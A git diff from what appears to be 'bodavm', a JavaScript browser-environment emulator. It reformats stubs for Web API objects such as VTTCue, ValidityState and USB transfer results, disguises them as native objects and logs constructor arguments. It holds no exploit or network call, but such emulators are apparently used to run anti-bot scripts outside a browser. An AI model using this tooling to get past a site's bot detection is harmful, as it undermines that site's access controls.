bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousInTransferResult': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousInTransferResult'], "USBIsochronousInTransferResult"); -bodavm.toolsFunc.defineProperty('USBIsochronousInTransferResult', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferResult'].prototype, "USBIsochronousInTransferResult", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBIsochronousInTransferResult', "packets", {configurable:true, enumerable:true, get:function packets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferResult'].prototype, "USBIsochronousInTransferResult", "packets_get", arguments)}, set:undefined},'prototype'); +// USBIsochronousInTransferResult对象 + +bodavm.memory.globalobj['USBIsochronousInTransferResult'] = function USBIsochronousInTransferResult() { + console.log_copy('USBIsochronousInTransferResult 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBIsochronousInTransferResult)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousInTransferResult': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousInTransferResult'], "USBIsochronousInTransferResult"); +bodavm.toolsFunc.defineProperty('USBIsochronousInTransferResult', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferResult'].prototype, "USBIsochronousInTransferResult", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBIsochronousInTransferResult', "packets", { + configurable: true, + enumerable: true, + get: function packets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferResult'].prototype, "USBIsochronousInTransferResult", "packets_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/USBIsochronousOutTransferPacket.js b/env_xbb_lastest_jsdom/env/USBIsochronousOutTransferPacket.js index 3a567c6f..d8c7f36f 100644 --- a/env_xbb_lastest_jsdom/env/USBIsochronousOutTransferPacket.js +++ b/env_xbb_lastest_jsdom/env/USBIsochronousOutTransferPacket.js @@ -1,5 +1,33 @@ -// USBIsochronousOutTransferPacket对象 -bodavm.memory.globalobj['USBIsochronousOutTransferPacket'] = function USBIsochronousOutTransferPacket(){if (!(this instanceof USBIsochronousOutTransferPacket)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousOutTransferPacket': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousOutTransferPacket'], "USBIsochronousOutTransferPacket"); -bodavm.toolsFunc.defineProperty('USBIsochronousOutTransferPacket', "bytesWritten", {configurable:true, enumerable:true, get:function bytesWritten (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousOutTransferPacket'].prototype, "USBIsochronousOutTransferPacket", "bytesWritten_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBIsochronousOutTransferPacket', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousOutTransferPacket'].prototype, "USBIsochronousOutTransferPacket", "status_get", arguments)}, set:undefined},'prototype'); +// USBIsochronousOutTransferPacket对象 + +bodavm.memory.globalobj['USBIsochronousOutTransferPacket'] = function USBIsochronousOutTransferPacket() { + console.log_copy('USBIsochronousOutTransferPacket 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBIsochronousOutTransferPacket)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousOutTransferPacket': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousOutTransferPacket'], "USBIsochronousOutTransferPacket"); +bodavm.toolsFunc.defineProperty('USBIsochronousOutTransferPacket', "bytesWritten", { + configurable: true, + enumerable: true, + get: function bytesWritten() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousOutTransferPacket'].prototype, "USBIsochronousOutTransferPacket", "bytesWritten_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBIsochronousOutTransferPacket', "status", { + configurable: true, + enumerable: true, + get: function status() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousOutTransferPacket'].prototype, "USBIsochronousOutTransferPacket", "status_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/USBIsochronousOutTransferResult.js b/env_xbb_lastest_jsdom/env/USBIsochronousOutTransferResult.js index 16c24f96..9cfbb583 100644 --- a/env_xbb_lastest_jsdom/env/USBIsochronousOutTransferResult.js +++ b/env_xbb_lastest_jsdom/env/USBIsochronousOutTransferResult.js @@ -1,4 +1,25 @@ -// USBIsochronousOutTransferResult对象 -bodavm.memory.globalobj['USBIsochronousOutTransferResult'] = function USBIsochronousOutTransferResult(){if (!(this instanceof USBIsochronousOutTransferResult)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousOutTransferResult': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousOutTransferResult'], "USBIsochronousOutTransferResult"); -bodavm.toolsFunc.defineProperty('USBIsochronousOutTransferResult', "packets", {configurable:true, enumerable:true, get:function packets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousOutTransferResult'].prototype, "USBIsochronousOutTransferResult", "packets_get", arguments)}, set:undefined},'prototype'); +// USBIsochronousOutTransferResult对象 + +bodavm.memory.globalobj['USBIsochronousOutTransferResult'] = function USBIsochronousOutTransferResult() { + console.log_copy('USBIsochronousOutTransferResult 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBIsochronousOutTransferResult)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousOutTransferResult': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousOutTransferResult'], "USBIsochronousOutTransferResult"); +bodavm.toolsFunc.defineProperty('USBIsochronousOutTransferResult', "packets", { + configurable: true, + enumerable: true, + get: function packets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousOutTransferResult'].prototype, "USBIsochronousOutTransferResult", "packets_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/USBOutTransferResult.js b/env_xbb_lastest_jsdom/env/USBOutTransferResult.js index 563fa61c..ebe9e479 100644 --- a/env_xbb_lastest_jsdom/env/USBOutTransferResult.js +++ b/env_xbb_lastest_jsdom/env/USBOutTransferResult.js @@ -1,5 +1,33 @@ -// USBOutTransferResult对象 -bodavm.memory.globalobj['USBOutTransferResult'] = function USBOutTransferResult(){if (!(this instanceof USBOutTransferResult)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBOutTransferResult': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBOutTransferResult'], "USBOutTransferResult"); -bodavm.toolsFunc.defineProperty('USBOutTransferResult', "bytesWritten", {configurable:true, enumerable:true, get:function bytesWritten (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBOutTransferResult'].prototype, "USBOutTransferResult", "bytesWritten_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBOutTransferResult', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBOutTransferResult'].prototype, "USBOutTransferResult", "status_get", arguments)}, set:undefined},'prototype'); +// USBOutTransferResult对象 + +bodavm.memory.globalobj['USBOutTransferResult'] = function USBOutTransferResult() { + console.log_copy('USBOutTransferResult 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof USBOutTransferResult)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBOutTransferResult': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBOutTransferResult'], "USBOutTransferResult"); +bodavm.toolsFunc.defineProperty('USBOutTransferResult', "bytesWritten", { + configurable: true, + enumerable: true, + get: function bytesWritten() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBOutTransferResult'].prototype, "USBOutTransferResult", "bytesWritten_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('USBOutTransferResult', "status", { + configurable: true, + enumerable: true, + get: function status() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBOutTransferResult'].prototype, "USBOutTransferResult", "status_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/UserActivation.js b/env_xbb_lastest_jsdom/env/UserActivation.js index f302940d..d1481460 100644 --- a/env_xbb_lastest_jsdom/env/UserActivation.js +++ b/env_xbb_lastest_jsdom/env/UserActivation.js @@ -1,5 +1,33 @@ -// UserActivation对象 -bodavm.memory.globalobj['UserActivation'] = function UserActivation(){if (!(this instanceof UserActivation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['UserActivation'], "UserActivation"); -bodavm.toolsFunc.defineProperty('UserActivation', "hasBeenActive", {configurable:true, enumerable:true, get:function hasBeenActive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UserActivation'].prototype, "UserActivation", "hasBeenActive_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('UserActivation', "isActive", {configurable:true, enumerable:true, get:function isActive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UserActivation'].prototype, "UserActivation", "isActive_get", arguments)}, set:undefined},'prototype'); +// UserActivation对象 + +bodavm.memory.globalobj['UserActivation'] = function UserActivation() { + console.log_copy('UserActivation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof UserActivation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['UserActivation'], "UserActivation"); +bodavm.toolsFunc.defineProperty('UserActivation', "hasBeenActive", { + configurable: true, + enumerable: true, + get: function hasBeenActive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UserActivation'].prototype, "UserActivation", "hasBeenActive_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('UserActivation', "isActive", { + configurable: true, + enumerable: true, + get: function isActive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UserActivation'].prototype, "UserActivation", "isActive_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/VTTCue.js b/env_xbb_lastest_jsdom/env/VTTCue.js index dafa2298..d1808f1d 100644 --- a/env_xbb_lastest_jsdom/env/VTTCue.js +++ b/env_xbb_lastest_jsdom/env/VTTCue.js @@ -1,13 +1,97 @@ -// VTTCue对象 -bodavm.memory.globalobj['VTTCue'] = function VTTCue(){if (!(this instanceof VTTCue)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VTTCue': 3 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VTTCue'], "VTTCue"); -bodavm.memory.globalobj['VTTCue'].prototype.__proto__=bodavm.memory.globalobj['TextTrackCue'].prototype; -bodavm.memory.globalobj['VTTCue'].__proto__=bodavm.memory.globalobj['TextTrackCue']; -bodavm.toolsFunc.defineProperty('VTTCue', "vertical", {configurable:true, enumerable:true, get:function vertical (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "vertical_get", arguments)}, set:function vertical (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "vertical_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VTTCue', "snapToLines", {configurable:true, enumerable:true, get:function snapToLines (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "snapToLines_get", arguments)}, set:function snapToLines (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "snapToLines_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VTTCue', "line", {configurable:true, enumerable:true, get:function line (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "line_get", arguments)}, set:function line (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "line_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VTTCue', "position", {configurable:true, enumerable:true, get:function position (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "position_get", arguments)}, set:function position (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "position_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VTTCue', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "size_get", arguments)}, set:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "size_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VTTCue', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VTTCue', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "text_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VTTCue', "getCueAsHTML", {configurable:true, enumerable:true, writable:true, value:function getCueAsHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "getCueAsHTML", arguments)}},'prototype'); +// VTTCue对象 + +bodavm.memory.globalobj['VTTCue'] = function VTTCue() { + console.log_copy('VTTCue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof VTTCue)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VTTCue': 3 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VTTCue'], "VTTCue"); +bodavm.memory.globalobj['VTTCue'].prototype.__proto__ = bodavm.memory.globalobj['TextTrackCue'].prototype; +bodavm.memory.globalobj['VTTCue'].__proto__ = bodavm.memory.globalobj['TextTrackCue']; +bodavm.toolsFunc.defineProperty('VTTCue', "vertical", { + configurable: true, + enumerable: true, + get: function vertical() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "vertical_get", arguments); + }, + set: function vertical() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "vertical_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VTTCue', "snapToLines", { + configurable: true, + enumerable: true, + get: function snapToLines() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "snapToLines_get", arguments); + }, + set: function snapToLines() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "snapToLines_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VTTCue', "line", { + configurable: true, + enumerable: true, + get: function line() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "line_get", arguments); + }, + set: function line() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "line_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VTTCue', "position", { + configurable: true, + enumerable: true, + get: function position() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "position_get", arguments); + }, + set: function position() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "position_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VTTCue', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "size_get", arguments); + }, + set: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "size_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VTTCue', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VTTCue', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "text_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VTTCue', "getCueAsHTML", { + configurable: true, + enumerable: true, + writable: true, + value: function getCueAsHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VTTCue'].prototype, "VTTCue", "getCueAsHTML", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ValidityState.js b/env_xbb_lastest_jsdom/env/ValidityState.js index 4b9a537d..36ce4e1c 100644 --- a/env_xbb_lastest_jsdom/env/ValidityState.js +++ b/env_xbb_lastest_jsdom/env/ValidityState.js @@ -1,14 +1,105 @@ -// ValidityState对象 -bodavm.memory.globalobj['ValidityState'] = function ValidityState(){if (!(this instanceof ValidityState)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ValidityState'], "ValidityState"); -bodavm.toolsFunc.defineProperty('ValidityState', "valueMissing", {configurable:true, enumerable:true, get:function valueMissing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "valueMissing_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "typeMismatch", {configurable:true, enumerable:true, get:function typeMismatch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "typeMismatch_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "patternMismatch", {configurable:true, enumerable:true, get:function patternMismatch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "patternMismatch_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "tooLong", {configurable:true, enumerable:true, get:function tooLong (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "tooLong_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "tooShort", {configurable:true, enumerable:true, get:function tooShort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "tooShort_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "rangeUnderflow", {configurable:true, enumerable:true, get:function rangeUnderflow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "rangeUnderflow_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "rangeOverflow", {configurable:true, enumerable:true, get:function rangeOverflow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "rangeOverflow_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "stepMismatch", {configurable:true, enumerable:true, get:function stepMismatch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "stepMismatch_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "badInput", {configurable:true, enumerable:true, get:function badInput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "badInput_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "customError", {configurable:true, enumerable:true, get:function customError (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "customError_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "valid", {configurable:true, enumerable:true, get:function valid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "valid_get", arguments)}, set:undefined},'prototype'); +// ValidityState对象 + +bodavm.memory.globalobj['ValidityState'] = function ValidityState() { + console.log_copy('ValidityState 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ValidityState)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ValidityState'], "ValidityState"); +bodavm.toolsFunc.defineProperty('ValidityState', "valueMissing", { + configurable: true, + enumerable: true, + get: function valueMissing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "valueMissing_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "typeMismatch", { + configurable: true, + enumerable: true, + get: function typeMismatch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "typeMismatch_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "patternMismatch", { + configurable: true, + enumerable: true, + get: function patternMismatch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "patternMismatch_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "tooLong", { + configurable: true, + enumerable: true, + get: function tooLong() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "tooLong_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "tooShort", { + configurable: true, + enumerable: true, + get: function tooShort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "tooShort_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "rangeUnderflow", { + configurable: true, + enumerable: true, + get: function rangeUnderflow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "rangeUnderflow_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "rangeOverflow", { + configurable: true, + enumerable: true, + get: function rangeOverflow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "rangeOverflow_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "stepMismatch", { + configurable: true, + enumerable: true, + get: function stepMismatch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "stepMismatch_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "badInput", { + configurable: true, + enumerable: true, + get: function badInput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "badInput_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "customError", { + configurable: true, + enumerable: true, + get: function customError() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "customError_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ValidityState', "valid", { + configurable: true, + enumerable: true, + get: function valid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "valid_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/VideoColorSpace.js b/env_xbb_lastest_jsdom/env/VideoColorSpace.js index 6ca18380..5339bd08 100644 --- a/env_xbb_lastest_jsdom/env/VideoColorSpace.js +++ b/env_xbb_lastest_jsdom/env/VideoColorSpace.js @@ -1,8 +1,54 @@ -// VideoColorSpace对象 -bodavm.memory.globalobj['VideoColorSpace'] = function VideoColorSpace(){this._boarg= new bodaobj.window.VideoColorSpace();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoColorSpace'], "VideoColorSpace"); -bodavm.toolsFunc.defineProperty('VideoColorSpace', "primaries", {configurable:true, enumerable:true, get:function primaries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "primaries_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoColorSpace', "transfer", {configurable:true, enumerable:true, get:function transfer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "transfer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoColorSpace', "matrix", {configurable:true, enumerable:true, get:function matrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "matrix_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoColorSpace', "fullRange", {configurable:true, enumerable:true, get:function fullRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "fullRange_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoColorSpace', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "toJSON", arguments)}},'prototype'); +// VideoColorSpace对象 + +bodavm.memory.globalobj['VideoColorSpace'] = function VideoColorSpace() { + console.log_copy('VideoColorSpace 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.VideoColorSpace(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoColorSpace'], "VideoColorSpace"); +bodavm.toolsFunc.defineProperty('VideoColorSpace', "primaries", { + configurable: true, + enumerable: true, + get: function primaries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "primaries_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoColorSpace', "transfer", { + configurable: true, + enumerable: true, + get: function transfer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "transfer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('VideoColorSpace', "matrix", { + configurable: true, + enumerable: true, + get: function matrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "matrix_get", arguments); + }, + set: undefined +}, 'prototype'); 